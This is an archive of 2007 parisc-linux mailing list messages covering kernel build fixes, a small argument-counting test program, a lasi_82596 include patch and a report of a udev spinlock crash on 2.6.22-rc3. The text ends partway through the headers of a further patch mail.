	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23912-08; Fri, 25 May 2007 11:37:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FB827DE63;
	Fri, 25 May 2007 11:37:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFA667DE1F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 11:37:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24039-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 11:37:17 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2E35C7DE1B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 11:37:17 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 77F6B5840B6;
	Fri, 25 May 2007 13:37:16 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EE2185840B3;
	Fri, 25 May 2007 13:37:15 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 65A94837DB; Fri, 25 May 2007 13:37:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JILCVH$61D15139B4C794DE6FE7310CA621D93B@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4Slkcnx8f2I/3YicY2xoaONwdWxlc1aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24566

On Fri, May 25, 2007 at 11:54:53AM +0200, Joel Soete wrote:
> Hello Kyle,
> 

Hey Joel,

Thanks! Sorry, I already had these fixes but forgot to push out my tree 
with these build fixes in them (but they're identical).

Nice catch,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [patch] removes MAX_ARG_PAGES
Date: Fri, 25 May 2007 11:48:09 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <617E1C2C70743745A92448908E030B2A018B17DE__31776.6883563765$1416624365$gmane$org@scsmsx411.amr.corp.intel.com>
References: <1180020019.7019.133.camel@twins>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624365 23973 80.91.229.3 (22 Nov 2014 02:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:05 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Peter Zijlstra" <a.p.zijlstra@chello.nl>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2007 18:48:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 25 May 2007 20:48:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7878C7DE79;
	Fri, 25 May 2007 12:48:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24602-09; Fri, 25 May 2007 12:48:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47C9C7DE7A;
	Fri, 25 May 2007 12:48:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF32D7DE14
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 12:48:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24602-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 12:48:18 -0600 (MDT)
Original-Received: from mga03.intel.com (mga03.intel.com [143.182.124.21])
	by free.linux.hp.com (Postfix) with ESMTP id CEAD37DE13
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 12:48:17 -0600 (MDT)
Original-Received: from azsmga001.ch.intel.com ([10.2.17.19])
	by azsmga101.ch.intel.com with ESMTP; 25 May 2007 11:48:11 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.14,580,1170662400"; d="scan'208";a="232165277"
Original-Received: from fmsmsx333.amr.corp.intel.com ([132.233.42.2])
	by azsmga001.ch.intel.com with ESMTP; 25 May 2007 11:48:11 -0700
Original-Received: from scsmsx411.amr.corp.intel.com ([10.3.90.30]) by
	fmsmsx333.amr.corp.intel.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Fri, 25 May 2007 11:48:11 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
In-Reply-To: <1180020019.7019.133.camel@twins>
Thread-Topic: [patch] removes MAX_ARG_PAGES
Thread-Index: AceeFxRGD6tMziZvQSGRqcgfGRFVPQA5SQGg
X-OriginalArrivalTime: 25 May 2007 18:48:11.0087 (UTC)
	FILETIME=[3E342DF0:01C79EFD]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RhhkchQBf2I/3YicY2xoKBNwdWxlc1Y3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24567

> I just tried this on an Altix from the test lab, and ia32 bash just
> started.

I don't have any native x86 binaries on my Madison-based testbox, so my
test case was to compile a simple program that counted total length of
argument strings on an x86 box, and copy it to my ia64 box.  So that I
wouldn't have to copy over a bunch of libraries too, I compiled it
with -static.  This is the test case that "hung" my system (re-running
it today from /dev/tty1 instead of from an xterm, I see that it actually
oopsed in rb_next()).  I wasn't even running with a long arglist.  Just
"*" for my home directory (19 files/directories =3D ~170 bytes).

-Tony

My test program.  Compile on ia32 box with "cc -static -o args args.c"

---- begin args.c ----
main(int argc, char **argv)
{
	int n;

	printf("argc =3D %d\n", argc);

	n =3D 0;
	while (--argc)
		n +=3D strlen(*++argv);

	printf("bytes =3D %d\n", n);
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix lasi_82596 build
Date: Sun, 27 May 2007 14:27:23 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200705271427.23620.deller__4709.21444143659$1416624366$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624366 23974 80.91.229.3 (22 Nov 2014 02:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 12:27:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 May 2007 14:27:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C4AA7DD45;
	Sun, 27 May 2007 06:27:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09760-07; Sun, 27 May 2007 06:27:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BB4F7DD46;
	Sun, 27 May 2007 06:27:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B86767DD44
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:27:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09760-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:27:38 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 7632D7DD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:27:37 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 12:27:34 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp001) with SMTP; 27 May 2007 14:27:34 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fU5scktJTiEth6yUaGRwI6x1ZUVSRNcU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24568

Hi Kyle,

this patch allows the current kernel to build the lasi_82596 driver.

Please apply, Helge

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/net/lasi_82596.c b/drivers/net/lasi_82596.c
index 6b49fc4..741780e 100644
--- a/drivers/net/lasi_82596.c
+++ b/drivers/net/lasi_82596.c
@@ -83,6 +83,7 @@
 #include <linux/init.h>
 #include <linux/types.h>
 #include <linux/bitops.h>
+#include <linux/dma-mapping.h>
 
 #include <asm/io.h>
 #include <asm/pgtable.h>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 14:38:57 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <200705271438.57394.deller__25806.687543127$1416624366$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624366 23979 80.91.229.3 (22 Nov 2014 02:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 12:39:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx104) with SMTP; 27 May 2007 14:39:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F0B07DD4D;
	Sun, 27 May 2007 06:39:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11057-05; Sun, 27 May 2007 06:39:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B86B7DD4E;
	Sun, 27 May 2007 06:39:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C70E7DD48
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:39:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10924-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:39:00 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 250997DD45
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 06:38:59 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 12:38:58 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp042) with SMTP; 27 May 2007 14:38:58 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3QFsLlRkZDI4y7HGdWY24Y5xemhmY8E4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24569

Hi everyone,

I just wanted to ask if someone of you managed to boot a parisc 2.6.22-rc3 kernel yet ?
I'm using Linus' current tree and merged into this one Kyles' latest patches and built the kernel.

I was able to build a kernel after I patched lasi_82596.c (see my patch I sent out just before).
I see quite some warnings though:

WARNING: arch/parisc/kernel/built-in.o(.data.read_mostly+0xd8): Section mismatch: reference to .init.text:processor_probe (between 'cpu_driver' and 'boot_cpu_data')
WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x140): Section mismatch: reference to .init.text:parisc_hardware_description (after 'alloc_pa_dev')
WARNING: kernel/built-in.o(.text.kthreadd+0x14): Section mismatch: reference to .init.text:kthreadd_setup (after 'kthreadd')
WARNING: drivers/built-in.o(.text.ccio_probe+0xdc): Section mismatch: reference to .init.text:ccio_init_resources (after 'ccio_probe')
WARNING: drivers/built-in.o(.text.eisa_probe+0x220): Section mismatch: reference to .init.text:eisa_root_register (after 'eisa_probe')
WARNING: drivers/built-in.o(.text.superio_serial_init+0x78): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')
WARNING: drivers/built-in.o(.text.superio_serial_init+0xa4): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xac): Section mismatch: reference to .init.text:sti_try_rom_generic (after 'sticore_pci_init')
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xe4): Section mismatch: reference to .init.text:sticore_check_for_default_sti (after 'sticore_pci_init')
WARNING: drivers/built-in.o(.text.sti_get_rom+0x18): Section mismatch: reference to .init.text:sti_init_roms (after 'sti_get_rom')
WARNING: drivers/built-in.o(.text.parport_init_chip+0xbc): Section mismatch: reference to .init.data:parport_count (after 'parport_init_chip')
WARNING: drivers/built-in.o(.text.parport_init_chip+0xc0): Section mismatch: reference to .init.data:parport_count (after 'parport_init_chip')
WARNING: drivers/built-in.o(.text.parport_init_chip+0xc8): Section mismatch: reference to .init.data:parport_count (after 'parport_init_chip')

I just disabled then the freeing of inital-memory (just in case!), and as such booting to init process went OK.
But then init started udev and it just crashes reproduceably:
->
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...<2>Backtrace:
 [<1011326c>] unwind_frame_regs+0x48/0x220
 [<10113578>] unwind_once+0x10/0x48
 [<1011284c>] get_wchan+0x2c/0x68
 [<101b9308>] do_task_stat+0x24c/0x500
 [<101b4f34>] proc_info_read+0x88/0x108
 [<10179db0>] vfs_read+0x8c/0x138
 [<1017a10c>] sys_read+0x5c/0xa4
 [<1010c080>] syscall_exit+0x0/0x28
BUG: spinlock recursion on CPU#0, udevd/560
 lock: 1056e08c, .magic: dead4ead, .owner: udevd/560, .owner_cpu: 0
Backtrace:
 [<1026c5d0>] _raw_spin_lock+0x50/0xa4
 [<101076cc>] parisc_terminate+0x58/0xe8
 [<10107cbc>] handle_interruption+0x560/0x58c
 [<1010b080>] intr_check_sig+0x0/0x34
BUG: spinlock lockup on CPU#0, udevd/560, 1056e08c                                                                                           

Anyone sees this as well ?
Is anyone testing head development kernels (e.g. 2.6.22-rc3) at all ?

Best regards,
Helge


PS: I'm not really happy with our current development model. IMHO it's too complicated to get to a building tree and thus too few people (anyone?) test the latest kernels...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] fix lasi_82596 build
Date: Sun, 27 May 2007 11:45:43 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20070527154543.GA25860__35084.7369446003$1416624366$gmane$org@fattire.cabal.ca>
References: <200705271427.23620.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624366 23981 80.91.229.3 (22 Nov 2014 02:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 15:45:47 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx085) with SMTP; 27 May 2007 17:45:47 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id BADA458408E;
	Sun, 27 May 2007 11:45:44 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4C8E758408C;
	Sun, 27 May 2007 11:45:44 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id E3F75837DD; Sun, 27 May 2007 11:45:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271427.23620.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mZFsd0pmbUkoyunGPWgnbJBkZ2hlN8oY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24570

On Sun, May 27, 2007 at 02:27:23PM +0200, Helge Deller wrote:
> Hi Kyle,
> 
> this patch allows the current kernel to build the lasi_82596 driver.
> 
> Please apply, Helge
> 

applied, thanks helge!



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in parport_gsc
Date: Sun, 27 May 2007 18:07:25 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200705271807.25326.deller__22174.0571585999$1416624367$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624367 23986 80.91.229.3 (22 Nov 2014 02:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:07:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 27 May 2007 18:07:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00AF87DD63;
	Sun, 27 May 2007 10:07:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13011-01; Sun, 27 May 2007 10:07:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ED047DD55;
	Sun, 27 May 2007 10:07:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5ECF7DD57
